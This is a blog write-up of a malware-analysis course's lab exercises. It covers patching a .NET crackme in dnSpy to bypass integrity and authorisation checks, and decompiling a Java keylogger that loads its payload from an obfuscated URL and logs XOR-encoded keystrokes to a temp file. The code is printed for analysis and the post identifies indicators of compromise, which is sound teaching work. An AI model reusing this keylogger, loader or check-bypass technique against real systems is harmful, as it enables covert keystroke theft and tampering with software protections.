Malware Analysis with .NET and Java
Tags: dotnet, java, security, malware
Published: 2020-04-05 19:21:57

This post serves as a write-up of the practical exercises offered in Pluralsight's [Analyzing Malware for .NET and Java Binaries](https://www.pluralsight.com/courses/dotnet-java-binaries-analyzing-malware) course. 

The course covers tools and techniques for analyzing malicious software developed for .NET and JVM platforms. These tools include
* [**dnSpy**](https://github.com/0xd4d/dnSpy) - .NET disassembler, decompiler and debugger. This utility can accept PE (Portable Executable) files as input and uncover the underlying Common Intermediate Language, as well higher level (C#, Visual Basic) code. dnSpy can also function as a debugger.
* [**Bytecode Viewer**](https://bytecodeviewer.com/) - a reverse engineering suite (disassembler, decompiler, debugger) for the JVM platform.

### First steps
The first exercise included in this course is a non-malicious program written for the .NET platform, that contains a "flag" - an email address. Disassembling and decompiling the software in **dnSpy** is as easy as simply opening the Portable Executable file (`.exe`) within the program.

![Project structure](https://dev-to-uploads.s3.amazonaws.com/i/6cs6avdaovnucnliurfi.PNG)

Doing so reveals the structure of the assembly, in a manner visually very similar to Visual Studio. 
As we can see, our assembly consists of three projects
* `PS_DotNet_Lab1`
* `PS_DotNet_Lab1.App_Code`
* `PS_DotNet_Lab1.Properties`

each containing multiple classes.
As first order of business, we should find the entry point of the program. I examine the `Program` class and find the `Main()` function.
```c#
namespace PS_DotNet_Lab1
{
	// Token: 0x02000004 RID: 4
	internal static class Program
	{
		// Token: 0x06000008 RID: 8 RVA: 0x0000251C File Offset: 0x0000071C
		[STAThread]
		private static void Main()
		{
			bool flag = Verification.App_Startup();
			if (flag)
			{
				Application.EnableVisualStyles();
				Application.SetCompatibleTextRenderingDefault(false);
				Application.Run(new Client());
			}
			else
			{
				MessageBox.Show("Try Again :)");
			}
		}
	}
}
```

Simply running the program shows a message box with the "Try Again :)" message, which indicates that the `flag` variable is initially `false`. In order to understand the logic behind this value, the `App_Startup()` function (located in the `Verification` class) needs to be examined.
```c#
namespace PS_DotNet_Lab1
{
	// Token: 0x02000002 RID: 2
	public static class Verification
	{
		// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
		private static string create_md5(string filename)
		{
			string result;
			using (MD5 md = MD5.Create())
			{
				using (FileStream fileStream = File.OpenRead(filename))
				{
					result = BitConverter.ToString(md.ComputeHash(fileStream)).Replace("-", "").ToLowerInvariant();
				}
			}
			return result;
		}

		// Token: 0x06000002 RID: 2 RVA: 0x000020C4 File Offset: 0x000002C4
		public static bool App_Startup()
		{
			bool result;
			try
			{
				Settings settings = new Settings();
				string check = settings.check1;
				string b = Verification.create_md5("PS_DotNet_Lab1.exe");
				bool flag = check != b;
				if (flag)
				{
					result = false;
				}
				else
				{
					result = true;
				}
			}
			catch
			{
				result = false;
			}
			return result;
		}
	}
}
```

Looking at the `App_Startup()` and `create_md5()` methods, I get the impression that the program is checking its own integrity through an MD5 hash. The `Settings.check1` property has `DefaultSettingValue` attribute set for a specific MD5 hash. 

Now let's start modifying the code in order to try and bypass these checks. Right clicking anywhere within the method gives us the option to edit it. I simply modify the `App_Startup()` method to always return `true` instead of the `result` variable. After clicking **Save All**, I create a new version of our executable, with our modified code compiled in it. By running this new executable, I confirm that the hashing checks have been bypassed.
![New window](https://dev-to-uploads.s3.amazonaws.com/i/l1jqrw8by2ocjeo0dlaa.PNG)
Clicking the **Authenticate** button introduces an attempt counter. Before I run out of valid attempts (after which the program never launches again), I look at the `Client` class, which contains the main callbacks of the Windows Forms application. I specifically pay attention to the `button1_Click()` method.
```c#
// Token: 0x06000004 RID: 4 RVA: 0x000021A0 File Offset: 0x000003A0
		private void button1_Click(object sender, EventArgs e)
		{
			bool flag = !Authentication.isAuthorized();
			if (flag)
			{
				this.txtOutputLog.AppendText("Invalid Attempt - You have " + this.maxAttempts + " attempts left\n");
				bool flag2 = this.maxAttempts == 0U;
				if (flag2)
				{
					RegistryKey registryKey = Registry.CurrentUser.CreateSubKey("PS_DotNet_Lab1");
					registryKey.SetValue("Challenge1", "1");
					registryKey.Close();
					Application.Exit();
				}
				this.maxAttempts -= 1U;
			}
			else
			{
				this.txtOutputLog.Clear();
				this.lblMessage.Text = "You got it! " + Authentication.returnEmailAddress();
				RegistryKey registryKey2 = Registry.CurrentUser.OpenSubKey("PS_DotNet_Lab1");
				bool flag3 = registryKey2 != null;
				if (flag3)
				{
					object value = registryKey2.GetValue("Challenge1");
					bool flag4 = value != null;
					if (flag4)
					{
						registryKey2.DeleteSubKey("Challenge1");
					}
					registryKey2.Close();
				}
			}
		}
```

We seem close to our objective. The software seems to check for authorization through the `isAuthorized()` method, and if so, display the email "flag". I proceed by modifying the method so that the `flag` variable is always `false` and does not depend on authorization. 
![Final result](https://dev-to-uploads.s3.amazonaws.com/i/fq8lqiyv3lv1ejqlat24.PNG)

That's it. This reveals our desired flag. 

> **Note:** One of the objectives on malware analysis is to find **indicators of compromise** (IOC) - clues that indicate that a given machine has been infected. As the decompiled code shows, this software modifies the Windows registry and creates a subkey `PS_DotNet_Lab1`. Presence of said key within the Registry Editor (`regedit.exe`) can function as an IOC.

#### An alternative way

Upon my first examination of the decompiled source, I found the method that actually generates the email address. However, the flag wasn't kept simply as a string, an **anti-analysis technique** called **obfuscation** was used. The method in question is located in the `Authorization` class and is called `returnEmailAddress()`. Here's the excerpt from the class:
```c#
public static string returnEmailAddress()
		{
			string text = "";
			foreach (char c in Authentication.addy)
			{
				text += c.ToString();
			}
			return text;
		}

		// Token: 0x04000009 RID: 9
		private static byte[] addy = new byte[]
		{
			53,
			102,
			54,
			104,
			56,
			57,
			100,
			115,
			117,
			64,
			48,
			120,
			101,
			118,
			105,
			108,
			99,
			48,
			100,
			101,
			46,
			99,
			111,
			109,
			46,
			99,
			111,
			109
		};
```

So another option to retrieve our email address would be to copy this code, run it in our own environment and retrieve the resulting string. However, I chose to try and open the full Windows Forms application for added interest.

### Second exercise
The next practical assignment offered in the course is a Java application, that does not contain any flags. The sample that needs to be analyzed comes as a `.jar` package, which can be opened from within **Bytecode Viewer**.
![Project Structure](https://dev-to-uploads.s3.amazonaws.com/i/vtdp9qvkfba5bs1o73k1.PNG)

In order to dissect the logic of the program, we need to find its entry point - the `main()` function. It can be found within the `ResourceLoader` class, which also includes a lot of seemingly random string objects, most of which are presumably unnecessary (unnecessary code is yet another *anti-analysis* technique). 
```java
public static void main(String[] args) throws ClassNotFoundException, IllegalArgumentException, IllegalAccessException, InvocationTargetException, SecurityException,
NoSuchMethodException, IOException {
      URL[] classLoaderUrls = new URL[]{new URL(g.c + g.cc + gg.m + dgressdf.xx + gg.mm + dgressdf.x)};
      ClassLoader jceClassLoader = new URLClassLoader(classLoaderUrls, (ClassLoader)null);
      Thread.currentThread().setContextClassLoader(jceClassLoader);
      Class c = jceClassLoader.loadClass("com.jrockit.drive.introspection2");
      Method main = c.getMethod("main", args.getClass());
      main.invoke((Object)null, args);
   }

```
It can be seen that this method serves simply to retrieve the real `main()` method from the `introspection2.jar` package. I used archiving software to retrieve the package and supply it to Bytecode Viewer. 
> **Note:** Another internal `.jar` package was present - `jnativehook.jar`. Upon looking at its classes, it seems to belong to the [JNativeHook](https://github.com/kwhat/jnativehook) library that the malware uses to listen for keypresses.

The `introspection2` class seems to contain the main malicious logic, it's entry point `main()` method contains the following line 
```java
GlobalScreen.addNativeKeyListener(new introspection2());
```

This prompts our attention to the constructor of the class:
```java
public introspection2() throws IOException {
    File file = new File(System.getProperty("java.io.tmpdir") + "JavaDeploy.log");
    if (!file.exists()) {
        file.createNewFile();
    }

    this.fw = new FileWriter(file.getAbsoluteFile(), true);
    this.bw = new BufferedWriter(this.fw);
}
```
It is clear that the malware looks for the temporary directory, and creates a file called `JavaDeploy.log` within it. That's our **indicator of compromise** - by searching for this file on suspected machines, we can confirm whether they have been infected.

In order to work with `JNativeHook`, the class implements the `NativeKeyListener` interface. More specifically, I pay attention to the `nativeKeyPressed()` method:

```java
public void nativeKeyPressed(NativeKeyEvent e) {
  try {
     this.bw.write(e.getKeyCode() ^ 151);
     this.bw.flush();
  } catch (IOException var4) {
  }

  if (e.getKeyCode() == 1) {
     try {
        GlobalScreen.unregisterNativeHook();
     } catch (NativeHookException var3) {
        var3.printStackTrace();
     }
  }
}
```

We can now see the exact mechanism that this particular malware (more specifically, **keylogger**) utilizies. In order to obfuscate its output, it XORs the registered characters with a specific number (151).